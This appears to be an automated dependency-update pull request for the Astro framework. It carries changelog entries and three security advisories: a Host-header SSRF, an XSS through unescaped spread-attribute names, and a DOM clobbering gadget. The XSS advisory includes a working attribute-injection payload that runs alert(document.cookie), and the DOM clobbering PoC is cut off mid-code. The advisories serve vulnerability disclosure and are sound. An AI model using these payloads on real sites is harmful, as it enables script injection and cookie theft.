  • #​10102 e3f02f5fb1cf0dae3c54beb3a4af3dbf3b06abb7 Thanks @​bluwy! - Adds a new experimental.directRenderScript configuration option which provides a more reliable strategy to prevent scripts from being executed in pages where they are not used.

    This replaces the experimental.optimizeHoistedScript flag introduced in v2.10.4 to prevent unused components' scripts from being included in a page unexpectedly. That experimental option no longer exists and must be removed from your configuration, whether or not you enable directRenderScript:

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
    	experimental: {
    -		optimizeHoistedScript: true,
    +		directRenderScript: true
    	}
    });
    

    With experimental.directRenderScript configured, scripts are now directly rendered as declared in Astro files (including existing features like TypeScript, importing node_modules, and deduplicating scripts). You can also now conditionally render scripts in your Astro file.

    However, this means scripts are no longer hoisted to the <head> and multiple scripts on a page are no longer bundled together. If you enable this option, you should check that all your <script> tags behave as expected.

    This option will be enabled by default in Astro 5.0.

  • #​10130 5a9528741fa98d017b269c7e4f013058028bdc5d Thanks @​bluwy! - Stabilizes markdown.shikiConfig.experimentalThemes as markdown.shikiConfig.themes. No behaviour changes are made to this option.

  • #​10189 1ea0a25b94125e4f6f2ac82b42f638e22d7bdffd Thanks @​peng! - Adds the option to pass an object to build.assetsPrefix. This allows for the use of multiple CDN prefixes based on the target file type.

    When passing an object to build.assetsPrefix, you must also specify a fallback domain to be used for all other file types not specified.

    Specify a file extension as the key (e.g. 'js', 'png') and the URL serving your assets of that file type as the value:

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      build: {
        assetsPrefix: {
          js: 'https://js.cdn.example.com',
          mjs: 'https://js.cdn.example.com', // if you have .mjs files, you must add a new entry like this
          png: 'https://images.cdn.example.com',
          fallback: 'https://generic.cdn.example.com',
        },
      },
    });
    
  • #​10252 3307cb34f17159dfd3f03144697040fcaa10e903 Thanks @​Princesseuh! - Adds support for emitting warning and info notifications from dev toolbar apps.

    When using the toggle-notification event, the severity can be specified through detail.level:

    eventTarget.dispatchEvent(
      new CustomEvent('toggle-notification', {
        detail: {
          level: 'warning',
        },
      })
    );
    
  • #​10186 959ca5f9f86ef2c0a5a23080cc01c25f53d613a9 Thanks @​Princesseuh! - Adds the ability to set colors on all the included UI elements for dev toolbar apps. Previously, only badge and buttons could be customized.

  • #​10136 9cd84bd19b92fb43ae48809f575ee12ebd43ea8f Thanks @​matthewp! - Changes the default behavior of transition:persist to update the props of persisted islands upon navigation. Also adds a new view transitions option transition:persist-props (default: false) to prevent props from updating as needed.

    Islands which have the transition:persist property to keep their state when using the <ViewTransitions /> router will now have their props updated upon navigation. This is useful in cases where the component relies on page-specific props, such as the current page title, which should update upon navigation.

    For example, the component below is set to persist across navigation. This component receives a products props and might have some internal state, such as which filters are applied:

    <ProductListing transition:persist products={products} />
    

    Upon navigation, this component persists, but the desired products might change, for example if you are visiting a category of products, or you are performing a search.

    Previously the props would not change on navigation, and your island would have to handle updating them externally, such as with API calls.

    With this change the props are now updated, while still preserving state.

    You can override this new default behavior on a per-component basis using transition:persist-props=true to persist both props and state during navigation:

    <ProductListing transition:persist-props="true" products={products} />
    
  • #​9977 0204b7de37bf626e1b97175b605adbf91d885386 Thanks @​OliverSpeir! - Supports adding the data-astro-rerun attribute on script tags so that they will be re-executed after view transitions

    <script is:inline data-astro-rerun>
      ...
    </script>
    
  • #​10145 65692fa7b5f4440c644c8cf3dd9bc50103d2c33b Thanks @​alexanderniebuhr! - Adds experimental JSON Schema support for content collections.

    This feature will auto-generate a JSON Schema for content collections of type: 'data' which can be used as the $schema value for TypeScript-style autocompletion/hints in tools like VSCode.

    To enable this feature, add the experimental flag:

    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
    	experimental: {
    +		contentCollectionJsonSchema: true
    	}
    });
    

    This experimental implementation requires you to manually reference the schema in each data entry file of the collection:

    // src/content/test/entry.json
    {
    +  "$schema": "../../../.astro/collections/test.schema.json",
      "test": "test"
    }
    

    Alternatively, you can set this in your VSCode json.schemas settings:

    "json.schemas": [
      {
        "fileMatch": [
          "/src/content/test/**"
        ],
        "url": "../../../.astro/collections/test.schema.json"
      }
    ]
    

    Note that this initial implementation uses a library with known issues for advanced Zod schemas, so you may wish to consult these limitations before enabling the experimental flag.

  • #​10130 5a9528741fa98d017b269c7e4f013058028bdc5d Thanks @​bluwy! - Migrates shikiji to shiki 1.0

  • #​10268 2013e70bce16366781cc12e52823bb257fe460c0 Thanks @​Princesseuh! - Adds support for page mutations to the audits in the dev toolbar. Astro will now rerun the audits whenever elements are added or deleted from the page.

  • #​10217 5c7862a9fe69954f8630538ebb7212cd04b8a810 Thanks @​Princesseuh! - Updates the UI for dev toolbar audits with new information

Patch Changes

v4.4.15

Compare Source

Patch Changes

v4.4.14

Compare Source

Patch Changes

v4.4.13

Compare Source

Patch Changes

v4.4.12

Compare Source

Patch Changes

v4.4.11

Compare Source

Patch Changes

v4.4.10

Compare Source

Patch Changes

v4.4.9

Compare Source

Patch Changes

v4.4.8

Compare Source

Patch Changes

v4.4.7

Compare Source

Patch Changes

v4.4.6

Compare Source

Patch Changes

v4.4.5

Compare Source

Patch Changes

v4.4.4

Compare Source

Patch Changes

v4.4.3

Compare Source

Patch Changes

v4.4.2

Compare Source

Patch Changes

v4.4.1

Compare Source

Patch Changes

v4.4.0

Compare Source

Minor Changes
  • #​9614 d469bebd7b45b060dc41d82ab1cf18ee6de7e051 Thanks @​matthewp! - Improves Node.js streaming performance.

    This uses an AsyncIterable instead of a ReadableStream to do streaming in Node.js. This is a non-standard enhancement by Node, which is done only in that environment.

  • #​10001 748b2e87cd44d8bcc1ab9d7e504703057e2000cd Thanks @​bholmesdev! - Removes content collection warning when a configured collection does not have a matching directory name. This should resolve i18n collection warnings for Starlight users.

    This also ensures configured collection names are always included in getCollection() and getEntry() types even when a matching directory is absent. We hope this allows users to discover typos during development by surfacing type information.

  • #​10074 7443929381b47db0639c49a4d32aec4177bd9102 Thanks @​Princesseuh! - Add a UI showing the list of found problems when using the audit app in the dev toolbar

  • #​10099 b340f8fe3aaa81e38c4f1aa41498b159dc733d86 Thanks @​martrapp! - Fixes a regression where view transition names containing special characters such as spaces or punctuation stopped working.

    Regular use naming your transitions with transition: name is unaffected.

    However, this fix may result in breaking changes if your project relies on the particular character encoding strategy Astro uses to translate transition:name directives into values of the underlying CSS view-transition-name property. For example, Welcome to Astro is now encoded as Welcome_20to_20Astro_2e.

    This mainly affects spaces and punctuation marks but no Unicode characters with codes >= 128.

  • #​9976 91f75afbc642b6e73dd4ec18a1fe2c3128c68132 Thanks @​OliverSpeir! - Adds a new optional astro:assets image attribute inferSize for use with remote images.

    Remote images can now have their dimensions inferred just like local images. Setting inferSize to true allows you to use getImage() and the <Image /> and <Picture /> components without setting the width and height properties.

    ---
    import { Image, Picture, getImage } from 'astro:assets';
    const myPic = await getImage({ src: 'https://example.com/example.png', inferSize: true });
    ---
    
    <Image src="https://example.com/example.png" inferSize alt="" />
    <Picture src="https://example.com/example.png" inferSize alt="" />
    

    Read more about using inferSize with remote images in our documentation.

  • #​10015 6884b103c8314a43e926c6acdf947cbf812a21f4 Thanks @​Princesseuh! - Adds initial support for performance audits to the dev toolbar

Patch Changes
  • #​10116 4bcc249a9f34aaac59658ca626c828bd6dbb8046 Thanks @​lilnasy! - Fixes an issue where the dev server froze when typescript aliases were used.

  • #​10096 227cd83a51bbd451dc223fd16f4cf1b87b8e44f8 Thanks @​Fryuni! - Fixes regression on routing priority for multi-layer index pages

    The sorting algorithm positions more specific routes before less specific routes, and considers index pages to be more specific than a dynamic route with a rest parameter inside of it.
    This means that /blog is considered more specific than /blog/[...slug].

    But this special case was being applied incorrectly to indexes, which could cause a problem in scenarios like the following:

    • /
    • /blog
    • /blog/[...slug]

    The algorithm would make the following comparisons:

    • / is more specific than /blog (incorrect)
    • /blog/[...slug] is more specific than / (correct)
    • /blog is more specific than /blog/[...slug] (correct)

    Although the incorrect first comparison is not a problem by itself, it could cause the algorithm to make the wrong decision.
    Depending on the other routes in the project, the sorting could perform just the last two comparisons and by transitivity infer the inverse of the third (/blog/[...slug > / > /blog), which is incorrect.

    Now the algorithm doesn't have a special case for index pages and instead does the comparison soleley for rest parameter segments and their immediate parents, which is consistent with the transitivity property.

  • #​10120 787e6f52470cf07fb50c865948b2bc8fe45a6d31 Thanks @​bluwy! - Updates and supports Vite 5.1

  • #​10096 227cd83a51bbd451dc223fd16f4cf1b87b8e44f8 Thanks @​Fryuni! - Fixes edge case on i18n fallback routes

    Previously index routes deeply nested in the default locale, like /some/nested/index.astro could be mistaked as the root index for the default locale, resulting in an incorrect redirect on /.

  • #​10112 476b79a61165d0aac5e98459a4ec90762050a14b Thanks @​Princesseuh! - Renames the home Astro Devoolbar App to astro:home

  • #​10117 51b6ff7403c1223b1c399e88373075972c82c24c Thanks @​hippotastic! - Fixes an issue where create astro, astro add and @astrojs/upgrade would fail due to unexpected package manager CLI output.

v4.3.7

Compare Source

Patch Changes

v4.3.6

Compare Source

Patch Changes

v4.3.5

Compare Source

Patch Changes

v4.3.4

Compare Source

Patch Changes

v4.3.3

Compare Source

Patch Changes

v4.3.2

Compare Source

Patch Changes

v4.3.1

Compare Source

Patch Changes

v4.3.0

Compare Source

Minor Changes
  • #​9839 58f9e393a188702eef5329e41deff3dcb65a3230 Thanks @​Princesseuh! - Adds a new ComponentProps type export from astro/types to get the props type of an Astro component.

    ---
    import type { ComponentProps } from 'astro/types';
    import { Button } from './Button.astro';
    
    type myButtonProps = ComponentProps<typeof Button>;
    ---
    
  • #​9159 7d937c158959e76443a02f740b10e251d14dbd8c Thanks @​bluwy! - Adds CLI shortcuts as an easter egg for the dev server:

    • o + enter: opens the site in your browser
    • q + enter: quits the dev server
    • h + enter: prints all available shortcuts
  • #​9764 fad4f64aa149086feda2d1f3a0b655767034f1a8 Thanks @​matthewp! - Adds a new build.format configuration option: 'preserve'. This option will preserve your source structure in the final build.

    The existing configuration options, file and directory, either build all of your HTML pages as files matching the route name (e.g. /about.html) or build all your files as index.html within a nested directory structure (e.g. /about/index.html), respectively. It was not previously possible to control the HTML file built on a per-file basis.

    One limitation of build.format: 'file' is that it cannot create index.html files for any individual routes (other than the base path of /) while otherwise building named files. Creating explicit index pages within your file structure still generates a file named for the page route (e.g. src/pages/about/index.astro builds /about.html) when using the file configuration option.

    Rather than make a breaking change to allow build.format: 'file' to be more flexible, we decided to create a new build.format: 'preserve'.

    The new format will preserve how the filesystem is structured and make sure that is mirrored over to production. Using this option:

    • about.astro becomes about.html
    • about/index.astro becomes about/index.html

    See the build.format configuration options reference for more details.

  • #​9143 041fdd5c89920f7ccf944b095f29e451f78b0e28 Thanks @​ematipico! - Adds experimental support for a new i18n domain routing option ("domains") that allows you to configure different domains for individual locales in entirely server-rendered projects.

    To enable this in your project, first configure your server-rendered project's i18n routing with your preferences if you have not already done so. Then, set the experimental.i18nDomains flag to true and add i18n.domains to map any of your supported locales to custom URLs:

    //astro.config.mjs"
    import { defineConfig } from 'astro/config';
    export default defineConfig({
      site: 'https://example.com',
      output: 'server', // required, with no prerendered pages
      adapter: node({
        mode: 'standalone',
      }),
      i18n: {
        defaultLocale: 'en',
        locales: ['es', 'en', 'fr', 'ja'],
        routing: {
          prefixDefaultLocale: false,
        },
        domains: {
          fr: 'https://fr.example.com',
          es: 'https://example.es',
        },
      },
      experimental: {
        i18nDomains: true,
      },
    });
    

    With "domains" configured, the URLs emitted by getAbsoluteLocaleUrl() and getAbsoluteLocaleUrlList() will use the options set in i18n.domains.

    import { getAbsoluteLocaleUrl } from 'astro:i18n';
    
    getAbsoluteLocaleUrl('en', 'about'); // will return "https://example.com/about"
    getAbsoluteLocaleUrl('fr', 'about'); // will return "https://fr.example.com/about"
    getAbsoluteLocaleUrl('es', 'about'); // will return "https://example.es/about"
    getAbsoluteLocaleUrl('ja', 'about'); // will return "https://example.com/ja/about"
    

    Similarly, your localized files will create routes at corresponding URLs:

    • The file /en/about.astro will be reachable at the URL https://example.com/about.
    • The file /fr/about.astro will be reachable at the URL https://fr.example.com/about.
    • The file /es/about.astro will be reachable at the URL https://example.es/about.
    • The file /ja/about.astro will be reachable at the URL https://example.com/ja/about.

    See our Internationalization Guide for more details and limitations on this experimental routing feature.

  • #​9755 d4b886141bb342ac71b1c060e67d66ca2ffbb8bd Thanks @​OliverSpeir! - Fixes an issue where images in Markdown required a relative specifier (e.g. ./)

    Now, you can use the standard ![](img.png) syntax in Markdown files for images colocated in the same folder: no relative specifier required!

    There is no need to update your project; your existing images will still continue to work. However, you may wish to remove any relative specifiers from these Markdown images as they are no longer necessary:

    - ![A cute dog](./dog.jpg)
    + ![A cute dog](dog.jpg)
    <!-- This dog lives in the same folder as my article! -->
    
Patch Changes

v4.2.8

Compare Source

Patch Changes

v4.2.7

Compare Source

Patch Changes

v4.2.6

Compare Source

Patch Changes

v4.2.5

Compare Source

Patch Changes

v4.2.4

Compare Source

Patch Changes

v4.2.3

Compare Source

Patch Changes

v4.2.2

Compare Source

Patch Changes

v4.2.1

Compare Source

Patch Changes

v4.2.0

Compare Source

Minor Changes
  • #​9566 165cfc154be477337037185c32b308616d1ed6fa Thanks @​OliverSpeir! - Allows remark plugins to pass options specifying how images in .md files will be optimized

  • #​9661 d6edc7540864cf5d294d7b881eb886a3804f6d05 Thanks @​ematipico! - Adds new helper functions for adapter developers.

    • Astro.clientAddress can now be passed directly to the app.render() method.
    const response = await app.render(request, { clientAddress: '012.123.23.3' });
    
    • Helper functions for converting Node.js HTTP request and response objects to web-compatible Request and Response objects are now provided as static methods on the NodeApp class.
    http.createServer((nodeReq, nodeRes) => {
      const request: Request = NodeApp.createRequest(nodeReq);
      const response = await app.render(request);
      await NodeApp.writeResponse(response, nodeRes);
    });
    
    • Cookies added via Astro.cookies.set() can now be automatically added to the Response object by passing the addCookieHeader option to app.render().
    -const response = await app.render(request)
    -const setCookieHeaders: Array<string> = Array.from(app.setCookieHeaders(webResponse));
    
    -if (setCookieHeaders.length) {
    -    for (const setCookieHeader of setCookieHeaders) {
    -        headers.append('set-cookie', setCookieHeader);
    -    }
    -}
    +const response = await app.render(request, { addCookieHeader: true })
    
  • #​9638 f1a61268061b8834f39a9b38bca043ae41caed04 Thanks @​ematipico! - Adds a new i18n.routing config option redirectToDefaultLocale to disable automatic redirects of the root URL (/) to the default locale when prefixDefaultLocale: true is set.

    In projects where every route, including the default locale, is prefixed with /[locale]/ path, this property allows you to control whether or not src/pages/index.astro should automatically redirect your site visitors from / to /[defaultLocale].

    You can now opt out of this automatic redirection by setting redirectToDefaultLocale: false:

    // astro.config.mjs
    export default defineConfig({
      i18n: {
        defaultLocale: 'en',
        locales: ['en', 'fr'],
        routing: {
          prefixDefaultLocale: true,
          redirectToDefaultLocale: false,
        },
      },
    });
    
  • #​9671 8521ff77fbf7e867701cc30d18253856914dbd1b Thanks @​bholmesdev! - Removes the requirement for non-content files and assets inside content collections to be prefixed with an underscore. For files with extensions like .astro or .css, you can now remove underscores without seeing a warning in the terminal.

    src/content/blog/
    post.mdx
    - _styles.css
    - _Component.astro
    + styles.css
    + Component.astro
    

    Continue to use underscores in your content collections to exclude individual content files, such as drafts, from the build output.

  • #​9567 3a4d5ec8001ebf95c917fdc0d186d29650533d93 Thanks @​OliverSpeir! - Improves the a11y-missing-content rule and error message for audit feature of dev-overlay. This also fixes an error where this check was falsely reporting accessibility errors.

  • #​9643 e9a72d9a91a3741566866bcaab11172cb0dc7d31 Thanks @​blackmann! - Adds a new markdown.shikiConfig.transformers config option. You can use this option to transform the Shikiji hast (AST format of the generated HTML) to customize the final HTML. Also updates Shikiji to the latest stable version.

    See Shikiji's documentation for more details about creating your own custom transformers, and a list of common transformers you can add directly to your project.

  • #​9644 a5f1682347e602330246129d4666a9227374c832 Thanks @​rossrobino! - Adds an experimental flag clientPrerender to prerender your prefetched pages on the client with the Speculation Rules API.

    // astro.config.mjs
    {
      prefetch: {
        prefetchAll: true,
        defaultStrategy: 'viewport',
      },
      experimental: {
        clientPrerender: true,
      },
    }
    

    Enabling this feature overrides the default prefetch behavior globally to prerender links on the client according to your prefetch configuration. Instead of appending a <link> tag to the head of the document or fetching the page with JavaScript, a <script> tag will be appended with the corresponding speculation rules.

    Client side prerendering requires browser support. If the Speculation Rules API is not supported, prefetch will fallback to the supported strategy.

    See the Prefetch Guide for more prefetch options and usage.

  • #​9439 fd17f4a40b83d14350dce691aeb79d87e8fcaf40 Thanks @​Fryuni! - Adds an experimental flag globalRoutePriority to prioritize redirects and injected routes equally alongside file-based project routes, following the same route priority order rules for all routes.

    // astro.config.mjs
    export default defineConfig({
      experimental: {
        globalRoutePriority: true,
      },
    });
    

    Enabling this feature ensures that all routes in your project follow the same, predictable route priority order rules. In particular, this avoids an issue where redirects or injected routes (e.g. from an integration) would always take precedence over local route definitions, making it impossible to override some routes locally.

    The following table shows which route builds certain page URLs when file-based routes, injected routes, and redirects are combined as shown below:

    • File-based route: /blog/post/[pid]
    • File-based route: /[page]
    • Injected route: /blog/[...slug]
    • Redirect: /blog/tags/[tag] -> /[tag]
    • Redirect: /posts -> /blog

    URLs are handled by the following routes:

    Page Current Behavior Global Routing Priority Behavior
    /blog/tags/astro Injected route /blog/[...slug] Redirect to /tags/[tag]
    /blog/post/0 Injected route /blog/[...slug] File-based route /blog/post/[pid]
    /posts File-based route /[page] Redirect to /blog

    In the event of route collisions, where two routes of equal route priority attempt to build the same URL, Astro will log a warning identifying the conflicting routes.

Patch Changes

v4.1.3

Compare Source

Patch Changes

v4.1.2

Compare Source

Patch Changes

v4.1.1

Compare Source

Patch Changes

v4.1.0

Compare Source

Minor Changes
  • #​9513 e44f6acf99195a3f29b8390fd9b2c06410551b74 Thanks @​wtto00! - Adds a 'load' prefetch strategy to prefetch links on page load

  • #​9377 fe719e27a84c09e46b515252690678c174a25759 Thanks @​bluwy! - Adds "Missing ARIA roles check" and "Unsupported ARIA roles check" audit rules for the dev toolbar

  • #​9573 2a8b9c56b9c6918531c57ec38b89474571331aee Thanks @​bluwy! - Allows passing a string to --open and server.open to open a specific URL on startup in development

  • #​9544 b8a6fa8917ff7babd35dafb3d3dcd9a58cee836d Thanks @​bluwy! - Adds a helpful error for static sites when you use the astro preview command if you have not previously run astro build.

  • #​9546 08402ad5846c73b6887e74ed4575fd71a3e3c73d Thanks @​bluwy! - Adds an option for the Sharp image service to allow large images to be processed. Set limitInputPixels: false to bypass the default image size limit:

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      image: {
        service: {
          entrypoint: 'astro/assets/services/sharp',
          config: {
            limitInputPixels: false,
          },
        },
      },
    });
    
  • #​9596 fbc26976533bbcf2de9d6dba1aa3ea3dc6ce0853 Thanks @​Princesseuh! - Adds the ability to set a rootMargin setting when using the client:visible directive. This allows a component to be hydrated when it is near the viewport, rather than hydrated when it has entered the viewport.

    <!-- Load component when it's within 200px away from entering the viewport -->
    <Component client:visible={{ rootMargin: '200px' }} />
    
  • #​9063 f33fe3190b482a42ebc68cc5275fd7f2c49102e6 Thanks @​alex-sherwin! - Cookie encoding / decoding can now be customized

    Adds new encode and decode functions to allow customizing how cookies are encoded and decoded. For example, you can bypass the default encoding via encodeURIComponent when adding a URL as part of a cookie:

    ---
    import { encodeCookieValue } from './cookies';
    Astro.cookies.set('url', Astro.url.toString(), {
      // Override the default encoding so that URI components are not encoded
      encode: (value) => encodeCookieValue(value),
    });
    ---
    

    Later, you can decode the URL in the same way:

    ---
    import { decodeCookieValue } from './cookies';
    const url = Astro.cookies.get('url', {
      decode: (value) => decodeCookieValue(value),
    });
    ---
    
Patch Changes

v4.0.9

Compare Source

Patch Changes

v4.0.8

Compare Source

Patch Changes

v4.0.7

Compare Source

Patch Changes

v4.0.6

Compare Source

Patch Changes

v4.0.5

Compare Source

Patch Changes

v4.0.4

Compare Source

Patch Changes

v4.0.3

Compare Source

Patch Changes

v4.0.2

Compare Source

Patch Changes

v4.0.1

Compare Source

Patch Changes

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate.

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [astro](https://astro.build) ([source](https://github.com/withastro/astro/tree/HEAD/packages/astro)) | [`^4.0.0 \|\| ^5.0.0 \|\| ^6.0.0` → `^6.4.6 ^6.4.6 ^6.4.6`](https://renovatebot.com/diffs/npm/astro/4.0.0/6.4.6) | ![age](https://developer.mend.io/api/mc/badges/age/npm/astro/6.4.6?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/astro/4.0.0/6.4.6?slim=true) | | [astro](https://astro.build) ([source](https://github.com/withastro/astro/tree/HEAD/packages/astro)) | [`6.4.3` → `6.4.6`](https://renovatebot.com/diffs/npm/astro/6.4.3/6.4.6) | ![age](https://developer.mend.io/api/mc/badges/age/npm/astro/6.4.6?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/astro/6.4.3/6.4.6?slim=true) | --- ### Astro: Host header SSRF in prerendered error page fetch [CVE-2026-54299](https://nvd.nist.gov/vuln/detail/CVE-2026-54299) / [GHSA-2pvr-wf23-7pc7](https://github.com/advisories/GHSA-2pvr-wf23-7pc7) <details> <summary>More information</summary> #### Details ##### Summary Astro SSR apps with prerendered error pages (`/404` or `/500` using `export const prerender = true`) fetch those pages over HTTP at runtime when an error occurs. The URL for this fetch is derived from `request.url`, which in turn gets its origin from the incoming `Host` header. When the `Host` header is not validated against `allowedDomains`, an attacker can point the fetch at an arbitrary host and read the response. ##### Who is affected This affects SSR deployments that: 1. Have a prerendered 404 or 500 page 2. Use `createRequestFromNodeRequest` from `astro/app/node` with `app.render()` **without** overriding `prerenderedErrorPageFetch` — this includes custom servers built on the public API and third-party adapters **Not affected:** - `@astrojs/node` >= 9.5.4 (reads error pages from disk) - `@astrojs/cloudflare` (uses the ASSETS binding) - The dev server (renders error pages in-process) ##### How it works `createRequestFromNodeRequest` builds `request.url` from the raw `Host` / `:authority` header. The `allowedDomains` option is accepted but only gates `X-Forwarded-For` — it does not constrain the URL origin. (The public `createRequest` does fall back to `localhost` for unvalidated hosts; this internal builder did not.) When `app.render()` encounters a 404 or 500 with a prerendered error route, `default-handler.ts` constructs the error page URL using the origin from `request.url` and fetches it via `prerenderedErrorPageFetch`, which defaults to global `fetch`. The response body is served to the client. An attacker sends a request with `Host: attacker-host:port`, triggers an error (e.g., requesting a nonexistent path for a 404), and receives the response from the attacker-controlled host reflected back. ##### Remediation The error page fetch origin is now validated against `allowedDomains` before use. When the host is validated, the original origin is preserved. Otherwise, it falls back to `localhost`. The fetch is also wrapped in a try/catch so that connection failures degrade gracefully to a plain error response. ##### Credit 5ud0 / Tarmo Technologies #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-2pvr-wf23-7pc7](https://github.com/withastro/astro/security/advisories/GHSA-2pvr-wf23-7pc7) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-2pvr-wf23-7pc7) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro: XSS via Unescaped Attribute Names in Spread Props [CVE-2026-54298](https://nvd.nist.gov/vuln/detail/CVE-2026-54298) / [GHSA-jrpj-wcv7-9fh9](https://github.com/advisories/GHSA-jrpj-wcv7-9fh9) <details> <summary>More information</summary> #### Details ##### Summary The `spreadAttributes` function in Astro's server-side rendering pipeline iterates over object keys and passes them directly to `addAttribute`, which interpolates the key into the HTML output without escaping. When a developer uses the spread syntax `{...props}` on an HTML element and the object keys come from an untrusted source (API, CMS, URL parameters), an attacker can inject arbitrary HTML attributes including event handlers like `onmousemove`, `onclick`, or break out of the attribute context entirely to inject new elements. ##### Details The vulnerable function is [`addAttribute`](https://github.com/withastro/astro/blob/main/packages/astro/src/runtime/server/render/util.ts#L81-L141) at `packages/astro/src/runtime/server/render/util.ts:81-141`: ```javascript export function addAttribute(value: any, key: string, shouldEscape = true, tagName = '') { if (value == null) { return ''; } return markHTMLString(` ${key}="${toAttributeString(value, shouldEscape)}"`); // key interpolated not escaped } ``` This function is called from [`spreadAttributes`](https://github.com/withastro/astro/blob/main/packages/astro/src/runtime/server/index.ts#L91-L92) at `packages/astro/src/runtime/server/index.ts:91-92`: ```javascript for (const [key, value] of Object.entries(values)) { output += addAttribute(value, key, true, _name); } ``` The `toAttributeString` function escapes the attribute value, but the attribute name `key` is never validated or escaped. An attacker can craft a JSON object with a key containing " characters to break out of the attribute context and inject event handlers. Execution flow: User controlled object keys (from API, CMS, URL params) are spread onto element via `{...props}`. The compiler generates `spreadAttributes(props)` which iterates with `Object.entries()` and calls `addAttribute(value, key)`. The key is interpolated as `` ` ${key}="${escapedValue}"` ``. A malicious key breaks attribute context, resulting in XSS. ##### POC Create an SSR Astro page (`src/pages/index.astro`): ```astro --- const props = JSON.parse(Astro.url.searchParams.get('props') || '{}'); --- <html> <body> <h1>Hello</h1> <div {...props}>Move mouse here</div> </body> </html> ``` Enable SSR in `astro.config.mjs` (for URL based demo): ```javascript export default defineConfig({ output: 'server' }); ``` Note: SSR is not required for the vulnerability to exist. In static builds (default), the attack vector is compromised data sources at build time (API, CMS, database). SSR simply makes the PoC easier to demonstrate via URL parameters. Start the dev server and visit: ``` http://localhost:4321/?props={"x\" onmousemove=\"alert(document.cookie)\" y":""} ``` URL encoded: ``` http://localhost:4321/?props=%7B%22x%5C%22%20onmousemove%3D%5C%22alert(document.cookie)%5C%22%20y%22%3A%22%22%7D ``` View the HTML source. The output contains: ```html <div x" onmousemove="alert(document.cookie)" y="">Move mouse here</div> ``` The key `x" onmousemove="alert(document.cookie)" y` breaks out of the attribute context. Moving the mouse over the div executes the JavaScript. <img width="1919" height="992" alt="Captura de tela 2026-06-02 005906" src="https://github.com/user-attachments/assets/ef69c12e-7edf-472e-97d1-3dfa540e61b4" /> ##### Impact An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any Astro application that spreads object props from untrusted sources onto HTML elements. This is a common pattern when integrating with external APIs or CMS systems. Exploitation enables session hijacking via cookie theft, credential theft by injecting fake login forms or keyloggers, defacement of the rendered page, and redirection to attacker controlled domains. The vulnerability affects all Astro versions that support spread syntax on HTML elements and is exploitable in SSR, SSG (if build time data is compromised), and hybrid deployments. #### Severity - CVSS Score: 4.2 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-jrpj-wcv7-9fh9](https://github.com/withastro/astro/security/advisories/GHSA-jrpj-wcv7-9fh9) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-jrpj-wcv7-9fh9) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### DOM Clobbering Gadget found in astro's client-side router that leads to XSS [CVE-2024-47885](https://nvd.nist.gov/vuln/detail/CVE-2024-47885) / [GHSA-m85w-3h95-hcf9](https://github.com/advisories/GHSA-m85w-3h95-hcf9) <details> <summary>More information</summary> #### Details ##### Summary A DOM Clobbering gadget has been discoverd in Astro's client-side router. It can lead to cross-site scripting (XSS) in websites enables Astro's client-side routing and has *stored* attacker-controlled scriptless HTML elements (i.e., `iframe` tags with unsanitized `name` attributes) on the destination pages. ##### Details ##### Backgrounds DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references: [1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/ ##### Gadgets found in Astro We identified a DOM Clobbering gadget in Astro's client-side routing module, specifically in the `<ViewTransitions />` component. When integrated, this component introduces the following vulnerable code, which is executed during page transitions (e.g., clicking an `<a>` link): https://github.com/withastro/astro/blob/7814a6cad15f06931f963580176d9b38aa7819f2/packages/astro/src/transitions/router.ts#L135-L156 However, this implementation is vulnerable to a DOM Clobbering attack. The `document.scripts` lookup can be shadowed by an attacker injected non-script HTML elements (e.g., `<img name="scripts"><img name="scripts">`) via the browser's named DOM access mechanism. This manipulation allows an attacker to replace the intended script elements with an array of attacker-controlled scriptless HTML elements. The condition `script.dataset.astroExec === ''` on line 138 can be bypassed because the attacker-controlled element does not have a data-astroExec attribute. Similarly, the check on line 134 can be bypassed as the element does not require a `type` attribute. Finally, the `innerHTML` of an attacker-injected non-script HTML elements, which is plain text content before, will be set to the `.innerHTML` of an script element that leads to XSS. ##### PoC Consider a web application using Astro as the framework with client-side routing enabled and allowing users to embed certain scriptless HTML elements (e.g., `form` or `iframe`). This can be done through a bunch of website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page. For PoC website, please refer to: `https://stackblitz.com/edit/github-4xgj2d`. Clicking the "about" button in the menu will trigger an `alert(1)` from an attacker-injected `form` element. ``` --- import Header from "../components/Header.astro"; import Footer from "../components/Footer.astro"; 